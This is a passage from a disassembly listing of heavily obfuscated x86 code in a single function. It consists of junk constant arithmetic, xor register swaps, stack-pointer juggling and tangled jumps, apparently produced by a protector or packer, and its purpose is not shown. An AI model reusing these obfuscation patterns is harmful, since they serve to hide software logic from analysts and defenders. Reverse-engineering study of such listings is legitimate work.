		add	eax, esi
		pop	esi
		sub	eax, 4
		jmp	loc_5BCDEF
; ---------------------------------------------------------------------------


loc_5BAC85:				; CODE XREF: sub_5A55E5+4B6Fj
		shr	bh, 5
		jmp	loc_5ADCEC
; ---------------------------------------------------------------------------


loc_5BAC8D:				; CODE XREF: sub_5A55E5+6BB1j
		add	edx, esi
		push	eax
		mov	eax, 60D377BAh
		sub	edx, eax
		mov	eax, [esp+8Eh+var_90+2]
		add	esp, 4
		mov	esi, [esp+8Ah+var_8C+2]
		push	edi
		jmp	loc_5BC6FE
; ---------------------------------------------------------------------------


loc_5BACA6:				; CODE XREF: sub_5A55E5+12ACAj
		add	al, 49h
		push	ecx
		jmp	loc_5BA648
; ---------------------------------------------------------------------------


loc_5BACAE:				; CODE XREF: sub_5A55E5+9D5Aj
		or	esi, edi
		pop	edi
		inc	esi
		jmp	loc_5B2DDC
; ---------------------------------------------------------------------------


loc_5BACB7:				; CODE XREF: sub_5A55E5+FDC1j
		push	ebp
		mov	ebp, 5D125176h
		shl	ebp, 7
		or	ebp, 444D25A8h
		add	ebp, 729451B8h
		shr	ebp, 5
		xor	ebp, 28BC7FF2h
		xor	ebp, 7BFF4A66h
		jmp	loc_5B7A0D
; ---------------------------------------------------------------------------


loc_5BACE0:				; CODE XREF: sub_5A55E5+18A7Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 675E7356h
		neg	ecx
		xor	ecx, 98A18CAEh
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+2Ah+var_2A]
		pop	esp
		push	ecx
		jmp	loc_5B7E3A
; ---------------------------------------------------------------------------


loc_5BAD04:				; CODE XREF: sub_5A55E5+5C23j
		sub	ecx, 0C398AFFFh
		push	edx
		mov	edx, 5C5D0C6Bh
		or	ecx, edx
		pop	edx
		jmp	loc_5B8548
; ---------------------------------------------------------------------------


loc_5BAD18:				; CODE XREF: sub_5A55E5+4774j
		pop	eax
		add	esi, ebx
		jmp	loc_5BF28D
; ---------------------------------------------------------------------------


loc_5BAD20:				; CODE XREF: sub_5A55E5+10AABj
		pop	[esp+0Eh+var_10+2]
		add	[esp+0Ah+var_C+2], 4
		jmp	loc_5AA31D
; ---------------------------------------------------------------------------


loc_5BAD2F:				; CODE XREF: sub_5A55E5+E7BBj
		mov	[esp+28h+var_2A+2], ebx
		jmp	loc_5B6ADB
; ---------------------------------------------------------------------------


loc_5BAD37:				; CODE XREF: sub_5A55E5+176E3j
		add	esi, 4AEF5C46h
		pop	edx
		push	6110h
		jmp	loc_5B2A57
; ---------------------------------------------------------------------------


loc_5BAD48:				; CODE XREF: sub_5A55E5+FD55j
		mov	[esp+1Ch+var_1C], esp
		jmp	loc_5B6836
; ---------------------------------------------------------------------------


loc_5BAD50:				; CODE XREF: sub_5A55E5+16D81j
		pop	edx
		sub	al, dh
		add	al, 5Ch
		pop	edx
		push	ebx
		push	eax
		push	edx
		mov	dh, 0FBh
		mov	ah, dh
		jmp	loc_5BC61C
; ---------------------------------------------------------------------------


loc_5BAD62:				; CODE XREF: sub_5A55E5+18BE1j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+24h+var_26+2]
		pop	esp
		xor	cl, 0A1h
		sub	cl, 3Ch
		add	al, 4Dh
		add	al, 68h
		jmp	loc_5B7F23
; ---------------------------------------------------------------------------


loc_5BAD81:				; CODE XREF: sub_5A55E5+16C6Bj
		add	eax, 4
		xchg	eax, [esp+20h+var_22+2]
		pop	esp
		shl	ebp, 4
		sub	ebp, 6F3F21CAh
		not	ebp
		xor	ebp, 510C3888h
		add	edx, ebp
		pop	ebp
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BADA3:				; CODE XREF: sub_5A55E5+AF00j
		add	ax, cx
		mov	cx, word ptr [esp+6+var_8+2]
		add	esp, 2
		add	ax, si
		sub	ax, 8Eh
		jmp	loc_5B63CA
; ---------------------------------------------------------------------------


loc_5BADB9:				; CODE XREF: sub_5A55E5+16E61j
		sub	eax, ecx
		pop	ecx
		push	dword ptr [esp+0]
		pop	edi
		sub	esp, 4
		mov	[esp+2+var_4+2], eax
		push	esp
		pop	eax
		push	edx
		mov	edx, 4
		add	eax, edx
		push	[esp+6+var_8+2]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_5BB938
; ---------------------------------------------------------------------------


loc_5BADDF:				; CODE XREF: sub_5A55E5+10439j
		add	ch, ah
		pop	eax
		add	ch, bh
		sub	ch, 8Ah
		jmp	loc_5AEDA4
; ---------------------------------------------------------------------------


loc_5BADEC:				; CODE XREF: sub_5A55E5+15CA5j
		add	esp, 4
		add	ebx, 4
		jmp	loc_5B7A69
; ---------------------------------------------------------------------------


loc_5BADFA:				; CODE XREF: sub_5A55E5+17CC1j
		sub	ebp, 5999144Eh
		sub	esp, 4
		mov	[esp+18h+var_18], ecx
		jmp	loc_5BF42C
; ---------------------------------------------------------------------------


loc_5BAE0B:				; CODE XREF: sub_5A55E5+12D8Cj
		mov	ebx, 34306BA5h
		add	ebx, 2A65D07Bh
		sub	[esp+8Eh+var_84+2], ebx
		pop	ebx
		sub	[esp+8Ah+var_84+2], 7DBD2DEAh
		add	[esp+8Ah+var_84+2], edi
		add	[esp+8Ah+var_84+2], 7DBD2DEAh
		add	[esp+8Ah+var_84+2], 5E963C20h
		push	[esp+8Ah+var_8C+2]
		pop	edi
		add	esp, 4
		pop	eax
		jmp	loc_5BA97E
; ---------------------------------------------------------------------------


loc_5BAE47:				; CODE XREF: sub_5A55E5+18F9Aj
		add	edx, edi
		jmp	loc_5AA043
; ---------------------------------------------------------------------------


loc_5BAE4E:				; CODE XREF: sub_5A55E5+ED9Fj
		inc	edx
		shr	edx, 1
		sub	edx, 4DFF3926h
		xor	edx, 4754A9A7h
		mov	edi, edx
		pop	edx
		neg	edi
		jmp	loc_5BABD0
; ---------------------------------------------------------------------------


loc_5BAE67:				; CODE XREF: sub_5A55E5+ADCAj
		sub	ebx, 33A76965h
		mov	ecx, ebx
		jmp	loc_5B8398
; ---------------------------------------------------------------------------


loc_5BAE74:				; CODE XREF: sub_5A55E5+160DDj
		add	[esp+56h+var_54+2], eax
		mov	eax, [esp+56h+var_58+2]
		add	esp, 4
		pop	eax
		add	eax, 4
		push	ecx
		mov	ecx, 5FD76646h
		push	esi
		mov	esi, 5E4623A5h
		and	ecx, esi
		push	[esp+56h+var_58+2]
		jmp	loc_5AA9C3
; ---------------------------------------------------------------------------


loc_5BAE9A:				; CODE XREF: sub_5A55E5+14557j
		dec	esi
		sub	esi, 284D52BDh
		mov	edi, esi
		mov	esi, [esp+2Eh+var_2E]
		add	esp, 4
		add	ebx, edi
		jmp	loc_5B1036
; ---------------------------------------------------------------------------


loc_5BAEB0:				; CODE XREF: sub_5A55E5+AF40j
		add	ebx, ebp
		jmp	loc_5B9A5E
; ---------------------------------------------------------------------------


loc_5BAEB7:				; CODE XREF: sub_5A55E5+12F32j
		add	eax, 1
		sub	eax, 2B4F1B77h
		dec	eax
		sub	eax, 2CDFFBBCh
		push	ebp
		mov	ebp, 7F26164Dh
		shr	ebp, 5
		sub	ebp, 0CAC9DCC8h
		sub	edi, ebp
		jmp	loc_5B7866
; ---------------------------------------------------------------------------


loc_5BAEDB:				; CODE XREF: sub_5A55E5+7674j
		pop	ecx
		xchg	ebx, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		mov	[esp+1Ah+var_1C+2], ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp+1Ah+var_1C+2], ebp
		jmp	loc_5B6FE3
; ---------------------------------------------------------------------------


loc_5BAEFC:				; CODE XREF: sub_5A55E5+B4A3j
		movzx	cx, ah
		push	small 5284h
		mov	word ptr [esp+1Ah+var_1C+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5ACFC6
; ---------------------------------------------------------------------------


loc_5BAF14:				; CODE XREF: sub_5A55E5+14BC5j
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		not	ebp
		xchg	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		jmp	loc_5B6656
; ---------------------------------------------------------------------------


loc_5BAF34:				; CODE XREF: sub_5A55E5+11A89j
		add	esp, 4
		push	esi
		jmp	loc_5ACD74
; ---------------------------------------------------------------------------


loc_5BAF3D:				; CODE XREF: sub_5A55E5+19239j
		push	6D8Dh
		mov	[esp+2Ch+var_2E+2], ecx
		push	4FB3h
		mov	[esp+30h+var_32+2], edx
		mov	edx, 0FC72009h
		mov	ecx, 0A157FABBh
		sub	ecx, edx
		pop	edx
		sub	eax, 5D8C6067h
		sub	eax, ecx
		add	eax, 5D8C6067h
		push	[esp+2Ch+var_2E+2]
		jmp	loc_5BE3DB
; ---------------------------------------------------------------------------


loc_5BAF6E:				; CODE XREF: sub_5A55E5+BCEBj
		push	esi
		push	0C25h
		jmp	loc_5B4AD2
; ---------------------------------------------------------------------------


loc_5BAF79:				; CODE XREF: sub_5A55E5+54A9j
		add	esp, 4
		pop	eax
		pop	ebx
		add	esi, 2
		xor	esi, [esp+26h+var_26]
		xor	[esp+26h+var_26], esi
		xor	esi, [esp+26h+var_26]
		jmp	loc_5AE9F2
; ---------------------------------------------------------------------------


loc_5BAF92:				; DATA XREF: sub_5A55E5+41BBo
		mov	ax, word ptr [esp+10h+var_10]
		sub	esp, 4
		mov	[esp+14h+var_14], esi
		push	esp
		pop	esi
		jmp	loc_5B2EB9
; ---------------------------------------------------------------------------


loc_5BAFA3:				; CODE XREF: sub_5A55E5+18D85j
		push	15A00386h
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		xor	ebp, edx
		jmp	loc_5BD739
; ---------------------------------------------------------------------------


loc_5BAFB8:				; CODE XREF: sub_5A55E5+FC75j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BAFBD:				; CODE XREF: sub_5A55E5+4DA1j
					; sub_5A55E5+CEECj ...
		push	[esp+14h+var_14]
		jmp	loc_5B9E13
; ---------------------------------------------------------------------------


loc_5BAFC5:				; CODE XREF: sub_5A55E5+152E8j
		shl	ch, 8
		or	ch, 6Fh
		jmp	loc_5B37BE
; ---------------------------------------------------------------------------


loc_5BAFD0:				; CODE XREF: sub_5A55E5+B9E8j
		push	ecx
		jmp	loc_5B7A22
; ---------------------------------------------------------------------------


loc_5BAFD6:				; CODE XREF: sub_5A55E5+13DA5j
		add	ebx, 4
		xchg	ebx, [esp+46h+var_46]
		pop	esp
		xor	edi, 6EF85159h
		push	4501h
		mov	[esp+46h+var_46], edi
		push	ebp
		jmp	loc_5AFCB2
; ---------------------------------------------------------------------------


loc_5BAFF1:				; CODE XREF: sub_5A55E5+9410j
		mov	cx, word ptr [esp+16h+var_18+2]
		push	edi
		push	3436h
		push	esp
		pop	[esp+22h+var_22]
		add	dword ptr [esp+0], 4
		mov	edi, [esp+0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	[esp+26h+var_22]
		jmp	loc_5BE510
; ---------------------------------------------------------------------------


loc_5BB01C:				; CODE XREF: sub_5A55E5+13C9Fj
		xor	esi, 5DA1B42h
		push	[esp+1Ch+var_1C]
		push	[esp+20h+var_22+2]
		pop	eax
		jmp	loc_5BB40A
; ---------------------------------------------------------------------------


loc_5BB02E:				; CODE XREF: sub_5A55E5+1627Ej
		mov	eax, 4914200Dh
		mov	ebx, eax
		pop	eax
		add	ebx, 101674E2h
		push	1EE1h
		jmp	loc_5BE621
; ---------------------------------------------------------------------------


loc_5BB046:				; CODE XREF: sub_5A55E5+193B1j
		xchg	edx, [esp+20h+var_22+2]
		pop	esp
		add	ebp, ebx
		pop	ebx
		jmp	loc_5B4AB1
; ---------------------------------------------------------------------------


loc_5BB052:				; CODE XREF: sub_5A55E5+1237Cj
		inc	[esp+22h+var_22]
		pushf
		jmp	loc_5B87D3
; ---------------------------------------------------------------------------


loc_5BB05B:				; CODE XREF: sub_5A55E5+98D7j
		add	edx, 4
		sub	edx, 4
		jmp	loc_5AC793
; ---------------------------------------------------------------------------


loc_5BB069:				; CODE XREF: sub_5A55E5+5D29j
		sub	[esp+14h+var_10], ecx
		pop	ecx
		sub	[esp+10h+var_10], eax
		jmp	loc_5BA000
; ---------------------------------------------------------------------------


loc_5BB076:				; CODE XREF: sub_5A55E5+15301j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+4Eh+var_50+2]
		jmp	loc_5AC119
; ---------------------------------------------------------------------------


loc_5BB088:				; CODE XREF: sub_5A55E5+18BBBj
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BB08D:				; CODE XREF: sub_5A55E5+F844j
		add	eax, 4
		xchg	eax, [esp+4Eh+var_50+2]
		pop	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_5BF296
; ---------------------------------------------------------------------------


loc_5BB0A0:				; CODE XREF: sub_5A55E5+11EE1j
		push	ebx
		push	5E31h
		mov	[esp+1Ch+var_1C], esp
		add	[esp+1Ch+var_1C], 4
		pop	ebx
		push	4267h
		jmp	loc_5BCFEA
; ---------------------------------------------------------------------------


loc_5BB0B8:				; CODE XREF: sub_5A55E5+14287j
		mov	edi, [esp+18h+var_18]
		add	esp, 4
		and	eax, ebp
		jmp	loc_5B9981
; ---------------------------------------------------------------------------


loc_5BB0C5:				; CODE XREF: sub_5A55E5+B5F1j
		mov	eax, [esp+1Ch+var_1C]
		add	esp, 4
		sub	al, cl
		mov	ecx, [esp+18h+var_18]
		push	1BAh
		mov	[esp+1Ch+var_1C], ecx
		jmp	loc_5AAAD8
; ---------------------------------------------------------------------------


loc_5BB0DD:				; CODE XREF: sub_5A55E5+5B34j
		pop	edx
		jmp	loc_5B3B7D
; ---------------------------------------------------------------------------


loc_5BB0E3:				; CODE XREF: sub_5A55E5+B376j
		add	eax, 4
		push	ecx
		jmp	loc_5BD554
; ---------------------------------------------------------------------------


loc_5BB0EE:				; CODE XREF: sub_5A55E5+ED04j
		push	6ED61E30h
		pop	edi
		add	edi, 666F7CA2h
		shl	edi, 2
		push	esi
		mov	esi, 7CAF69B4h
		dec	esi
		shl	esi, 2
		dec	esi
		inc	esi
		jmp	loc_5B9EBA
; ---------------------------------------------------------------------------


loc_5BB10E:				; CODE XREF: sub_5A55E5+5BFBj
		mov	[esp+1Ch+var_1C], ecx
		push	esp
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		sub	esp, 4
		jmp	loc_5B7346
; ---------------------------------------------------------------------------


loc_5BB120:				; CODE XREF: sub_5A55E5+F714j
		not	ecx
		push	ebp
		jmp	loc_5B568E
; ---------------------------------------------------------------------------


loc_5BB128:				; CODE XREF: sub_5A55E5+133BCj
		add	eax, 0D0B7AB41h
		sub	ebx, eax
		jmp	loc_5B3B2E
; ---------------------------------------------------------------------------


loc_5BB134:				; CODE XREF: sub_5A55E5+EE83j
		mov	[esp+2Eh+var_2E], ecx
		mov	ecx, 569023E5h
		neg	ecx
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 0E447156h
		neg	ecx
		push	esi
		jmp	loc_5B96DD
; ---------------------------------------------------------------------------


loc_5BB152:				; CODE XREF: sub_5A55E5+19D73j
		bswap	eax
		push	6B2Fh
		mov	[esp+36h+var_36], eax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BB161:				; CODE XREF: sub_5A55E5+CFDEj
		add	edx, 4
		jmp	loc_5BC153
; ---------------------------------------------------------------------------


loc_5BB16C:				; CODE XREF: sub_5A55E5+16F12j
		sub	eax, 35B8C851h
		sub	edi, 73F60D6h
		sub	edi, eax
		jmp	loc_5AD2F6
; ---------------------------------------------------------------------------


loc_5BB17E:				; CODE XREF: sub_5A55E5+45A6j
		pop	ecx
		jmp	loc_5B04EA
; ---------------------------------------------------------------------------


loc_5BB184:				; CODE XREF: sub_5A55E5+187B2j
		sub	ebx, 7E2F482Ch
		sub	ebx, ecx
		add	ebx, 7E2F482Ch
		push	[esp+14h+var_14]
		jmp	loc_5B35D3
; ---------------------------------------------------------------------------


loc_5BB19A:				; CODE XREF: sub_5A55E5+9D04j
		mov	ecx, esi
		push	ebx
		push	ecx
		pop	ebx
		mov	edx, ebx
		pop	ebx
		pop	ecx
		jmp	loc_5B0C80
; ---------------------------------------------------------------------------


loc_5BB1A8:				; CODE XREF: sub_5A55E5+176BAj
		mov	esp, [esp+20h+var_22+2]
		push	75C7h
		mov	[esp+24h+var_26+2], ebx
		jmp	loc_5AE2DB
; ---------------------------------------------------------------------------


loc_5BB1B8:				; CODE XREF: sub_5A55E5+A323j
		dec	ebp
		xor	ebp, 8D5AB98Dh
		push	ebp
		add	[esp+42h+var_42], 391E74E3h
		jmp	loc_5B8A57
; ---------------------------------------------------------------------------


loc_5BB1CC:				; CODE XREF: sub_5A55E5+991Dj
		sub	esi, 2A4660B7h
		mov	ecx, [esp+28h+var_2A+2]
		add	esp, 4
		jmp	loc_5B6A43
; ---------------------------------------------------------------------------


loc_5BB1E0:				; DATA XREF: sub_5A55E5+416Fo
		mov	eax, [esp+14h+var_14]
		push	edi
		push	620h
		push	esp
		pop	[esp+20h+var_22+2]
		push	edi
		mov	edi, 4
		add	[esp+20h+var_1C], edi
		pop	edi
		jmp	loc_5ACABE
; ---------------------------------------------------------------------------


loc_5BB1FD:				; CODE XREF: sub_5A55E5+18B0Fj
		sub	dh, bl
		add	dh, 62h
		jmp	loc_5B30E0
; ---------------------------------------------------------------------------


loc_5BB207:				; CODE XREF: sub_5A55E5+14653j
		xor	[esp+20h+var_22+2], edx
		xor	edx, [esp+20h+var_22+2]
		pop	esp
		mov	word ptr [esp+1Ch+var_1C], ax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BB217:				; CODE XREF: sub_5A55E5+6EDDj
		mov	[esp+28h+var_2A+2], edi
		mov	edi, 28D95030h
		xor	esi, edi
		pop	edi
		xchg	ecx, esi
		not	ecx
		xchg	ecx, esi
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ecx
		push	ebx
		jmp	loc_5B8AE5
; ---------------------------------------------------------------------------


loc_5BB234:				; CODE XREF: sub_5A55E5+9499j
		not	ebx
		push	ebp
		mov	ebp, 0FC2C3DDBh
		jmp	loc_5BCF48
; ---------------------------------------------------------------------------


loc_5BB241:				; CODE XREF: sub_5A55E5+9CC3j
		add	ebx, ecx
		push	ecx
		mov	ecx, 429462ECh
		sub	ebx, ecx
		pop	ecx
		mov	[ebx], esi
		pop	ebx
		mov	esi, [esp+32h+var_32]
		add	esp, 4
		push	[esp+2Eh+var_2E]
		pop	ecx
		add	esp, 4
		xor	edx, edx
		push	ebx
		sub	esp, 4
		mov	[esp+32h+var_32], edx
		mov	edx, 22940E6Fh
		sub	[esp+32h+var_2E], edx
		pop	edx
		pop	eax
		push	4133h
		mov	[esp+2Eh+var_2E], edi
		jmp	loc_5AFAD2
; ---------------------------------------------------------------------------


loc_5BB286:				; CODE XREF: sub_5A55E5+146D5j
		push	esp
		mov	ebx, [esp+16h+var_18+2]
		jmp	loc_5BADEC
; ---------------------------------------------------------------------------


loc_5BB28F:				; CODE XREF: sub_5A55E5+B4D1j
		mov	edx, 3D9651A2h
		push	ecx
		mov	ecx, esp
		jmp	loc_5B9756
; ---------------------------------------------------------------------------


loc_5BB29C:				; CODE XREF: sub_5A55E5+9FBBj
		pop	edi
		mov	edx, 55658A90h
		add	edx, 6775143Bh
		sub	edx, esi
		jmp	loc_5BE031
; ---------------------------------------------------------------------------


loc_5BB2AF:				; CODE XREF: sub_5A55E5+D10Fj
		pop	ebx
		push	edx
		jmp	loc_5AA7F8
; ---------------------------------------------------------------------------


loc_5BB2B6:				; CODE XREF: sub_5A55E5+113B9j
		add	ecx, 4
		push	765h
		mov	[esp+1Ch+var_1C], ecx
		push	[esp+1Ch+var_18]
		push	[esp+20h+var_22+2]
		jmp	loc_5B7B90
; ---------------------------------------------------------------------------


loc_5BB2D0:				; CODE XREF: sub_5A55E5+17DEAj
		shr	ebx, 1
		sub	ebx, 0F3BBD915h
		xor	ecx, ebx
		jmp	loc_5AB13B
; ---------------------------------------------------------------------------


loc_5BB2DF:				; CODE XREF: sub_5A55E5+EC7Cj
		pop	edx
		pop	edx
		add	al, bl
		jmp	loc_5AE110
; ---------------------------------------------------------------------------


loc_5BB2E8:				; CODE XREF: sub_5A55E5+AF78j
		add	bl, ah
		pop	eax
		sub	esp, 2
		jmp	loc_5ADA60
; ---------------------------------------------------------------------------


loc_5BB2F6:				; CODE XREF: sub_5A55E5+14806j
		mov	eax, ebx
		pop	ebx
		add	edx, eax
		mov	eax, [esp+30h+var_32+2]
		jmp	loc_5B4338
; ---------------------------------------------------------------------------


loc_5BB303:				; CODE XREF: sub_5A55E5+7E87j
		or	edx, 17D475FCh
		add	edx, 4EA7089Fh
		jmp	loc_5B4F4B
; ---------------------------------------------------------------------------


loc_5BB314:				; CODE XREF: sub_5A55E5+17D2Fj
		mov	[esp+24h+var_26+2], edx
		push	0CFEh
		mov	[esp+28h+var_2A+2], eax
		mov	al, 93h
		sub	esp, 4
		jmp	loc_5BB59C
; ---------------------------------------------------------------------------


loc_5BB329:				; CODE XREF: sub_5A55E5+17832j
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		xchg	ebx, [esp+2Ch+var_2E+2]
		pop	esp
		mov	[esp+28h+var_2A+2], edx
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BB33E:				; CODE XREF: sub_5A55E5+4535j
		push	ebx
		mov	ebx, 18F91E99h
		add	[esp+38h+var_2E+2], ebx
		jmp	loc_5B7438
; ---------------------------------------------------------------------------


loc_5BB34D:				; CODE XREF: sub_5A55E5+CE71j
		mov	edx, [esp+2Ah+var_2A]
		jmp	loc_5ACF0A
; ---------------------------------------------------------------------------


loc_5BB355:				; CODE XREF: sub_5A55E5+D4CEj
		add	ebx, esi
		pop	esi
		add	ebx, 0A7F2AEDh
		jmp	loc_5BC0C1
; ---------------------------------------------------------------------------


loc_5BB363:				; CODE XREF: sub_5A55E5+DC9Fj
		xor	esi, 49CE3FE8h
		neg	esi
		jmp	loc_5B4E89
; ---------------------------------------------------------------------------


loc_5BB370:				; CODE XREF: sub_5A55E5+B6F7j
		xchg	edx, [esp+30h+var_32+2]
		pop	esp
		mov	[esp+2Ch+var_2E+2], ecx
		sub	esp, 4
		mov	[esp+30h+var_32+2], esi
		mov	esi, 1CA91DE6h
		mov	ecx, 0E57C3311h
		sub	ecx, 33BE1274h
		add	ecx, esi
		jmp	loc_5BE476
; ---------------------------------------------------------------------------


loc_5BB397:				; CODE XREF: sub_5A55E5+1855Cj
		sub	esp, 4
		mov	[esp+34h+var_36+2], edi
		jmp	loc_5B82CF
; ---------------------------------------------------------------------------


loc_5BB3A5:				; CODE XREF: sub_5A55E5+F0C7j
		push	0A32h
		mov	[esp+5Eh+var_60+2], ebx
		mov	ebx, 244462E3h
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		jmp	loc_5B52D5
; ---------------------------------------------------------------------------


loc_5BB3BD:				; CODE XREF: sub_5A55E5+752Dj
		shr	ebp, 1
		xor	ebp, 352D2663h
		sub	edi, ebp
		pop	ebp
		pop	ebp
		add	esi, edi
		pop	edi
		xor	esi, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], esi
		jmp	loc_5ABD00
; ---------------------------------------------------------------------------


loc_5BB3D7:				; CODE XREF: sub_5A55E5+11EF1j
		mov	ecx, esp
		jmp	loc_5B6F6D
; ---------------------------------------------------------------------------


loc_5BB3DE:				; CODE XREF: sub_5A55E5+9DABj
		shr	dh, 1
		xor	dh, 1
		sub	al, dh
		pop	edx
		sub	al, 6Eh
		sub	al, dh
		push	ebx
		jmp	loc_5AC1E3
; ---------------------------------------------------------------------------


loc_5BB3F0:				; CODE XREF: sub_5A55E5+9241j
		pop	eax
		push	[esp+46h+var_46]
		pop	ecx
		add	esp, 4
		push	small 1508h
		mov	word ptr [esp+44h+var_46+2], ax
		mov	al, 8Ch
		jmp	loc_5B7BA5
; ---------------------------------------------------------------------------


loc_5BB40A:				; CODE XREF: sub_5A55E5+15A44j
		add	esp, 4
		push	eax
		sub	esp, 4
		push	esp
		pop	[esp+28h+var_2A+2]
		add	[esp+24h+var_26+2], 4
		pop	eax
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp+20h+var_22+2]
		jmp	loc_5BD142
; ---------------------------------------------------------------------------


loc_5BB433:				; CODE XREF: sub_5A55E5+8EFCj
		add	esp, 4
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebx
		push	esp
		push	[esp+28h+var_2A+2]
		jmp	loc_5AD13F
; ---------------------------------------------------------------------------


loc_5BB44B:				; CODE XREF: sub_5A55E5+D1E4j
		add	edx, ecx
		pop	ecx
		add	eax, edx
		pop	edx
		xchg	eax, [esp+48h+var_4A+2]
		pop	esp
		xor	[esp+44h+var_46+2], eax
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BB45D:				; CODE XREF: sub_5A55E5+11486j
		mov	[esp+20h+var_22+2], ebp
		mov	ebp, 4
		sub	eax, 33AE1338h
		jmp	loc_5AAF78
; ---------------------------------------------------------------------------


loc_5BB46F:				; CODE XREF: sub_5A55E5+16AF3j
		add	eax, ebx
		mov	ebx, [esp+20h+var_22+2]
		add	esp, 4
		add	eax, edi
		push	ebx
		mov	ebx, 3B5068AFh
		sub	ebx, 43F3305h
		and	ebx, 7DBB1BFFh
		jmp	loc_5B4C55
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+20h+var_22+2]
		push	6BCh
		mov	[esp+24h+var_26+2], eax
		push	3BF4h
		push	esp
		jmp	loc_5B7AB0
; ---------------------------------------------------------------------------


loc_5BB4A7:				; CODE XREF: sub_5A55E5+9962j
		pop	ecx
		push	edx
		mov	edx, 7C7961B4h
		sub	[esp+2Ch+var_2A+2], edx
		pop	edx
		add	[esp+28h+var_2A+2], 393D59FAh
		push	7B7Eh
		jmp	loc_5B8629
; ---------------------------------------------------------------------------


loc_5BB4C4:				; CODE XREF: sub_5A55E5+E871j
		inc	ebx
		or	ebx, 30D95341h
		inc	ebx
		jmp	loc_5ABF26
; ---------------------------------------------------------------------------


loc_5BB4D1:				; CODE XREF: sub_5A55E5+12D3Dj
		add	eax, edx
		jmp	loc_5B13EB
; ---------------------------------------------------------------------------


loc_5BB4D8:				; CODE XREF: sub_5A55E5+E53Aj
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_5AA8E1
; ---------------------------------------------------------------------------


loc_5BB4E5:				; CODE XREF: sub_5A55E5+FC48j
		mov	ebx, [esp+16h+var_18+2]
		add	esp, 4
		add	edx, 4
		push	edx
		push	[esp+16h+var_14+2]
		pop	edx
		pop	[esp+16h+var_18+2]
		jmp	loc_5BE277
; ---------------------------------------------------------------------------


loc_5BB4FF:				; CODE XREF: sub_5A55E5+104A7j
		push	esp
		jmp	loc_5B9274
; ---------------------------------------------------------------------------


loc_5BB505:				; DATA XREF: sub_5A55E5+4387o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp+12h+var_14+2], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5BB515:				; CODE XREF: sub_5A55E5+FC82j
		push	eax
		push	edx
		pop	eax
		pop	edx
		push	53CAh
		mov	[esp+1Ah+var_1C+2], ebp
		push	2D1Eh
		jmp	loc_5AC4B5
; ---------------------------------------------------------------------------


loc_5BB52B:				; CODE XREF: sub_5A55E5+16F66j
		push	ebx
		jmp	loc_5AEEC8
; ---------------------------------------------------------------------------


loc_5BB531:				; CODE XREF: sub_5A55E5+9B68j
		push	40D2h
		mov	[esp+32h+var_32], eax
		mov	eax, esp
		push	ecx
		mov	ecx, 75DA239Bh
		push	2CF1h
		mov	[esp+3Ah+var_3A], edx
		mov	edx, 72B60F9Dh
		sub	esp, 4
		mov	[esp+3Eh+var_3E], ebp
		mov	ebp, 0D604EDh
		and	edx, ebp
		pop	ebp
		shl	edx, 2
		add	edx, 58862BECh
		jmp	loc_5ADB02
; ---------------------------------------------------------------------------


loc_5BB56D:				; CODE XREF: sub_5A55E5+1377Cj
		push	edx
		jmp	loc_5B2DBC
; ---------------------------------------------------------------------------


loc_5BB573:				; CODE XREF: sub_5A55E5+18F15j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+2Ch+var_2E+2]
		mov	esp, [esp+2Ch+var_2E+2]
		mov	[esp+2Ch+var_2E+2], eax
		jmp	loc_5B6A06
; ---------------------------------------------------------------------------


loc_5BB589:				; CODE XREF: sub_5A55E5+1801Bj
		sub	esp, 4
		mov	[esp+30h+var_32+2], edx
		mov	edx, 415A4571h
		jmp	loc_5BD8EB
; ---------------------------------------------------------------------------


loc_5BB59C:				; CODE XREF: sub_5A55E5+15D3Fj
		mov	[esp+2Ch+var_2E+2], ebx
		mov	bl, al
		mov	dl, bl
		jmp	loc_5B46E0
; ---------------------------------------------------------------------------


loc_5BB5A8:				; CODE XREF: sub_5A55E5+56CDj
		sub	ebp, 38E52147h
		sub	ebp, edi
		add	ebp, 38E52147h
		pop	edi
		xor	ebp, [esp+20h+var_22+2]
		xor	[esp+20h+var_22+2], ebp
		jmp	loc_5BC744
; ---------------------------------------------------------------------------


loc_5BB5C2:				; CODE XREF: sub_5A55E5+E588j
		pop	ecx
		sub	ch, al
		mov	eax, [esp+20h+var_22+2]
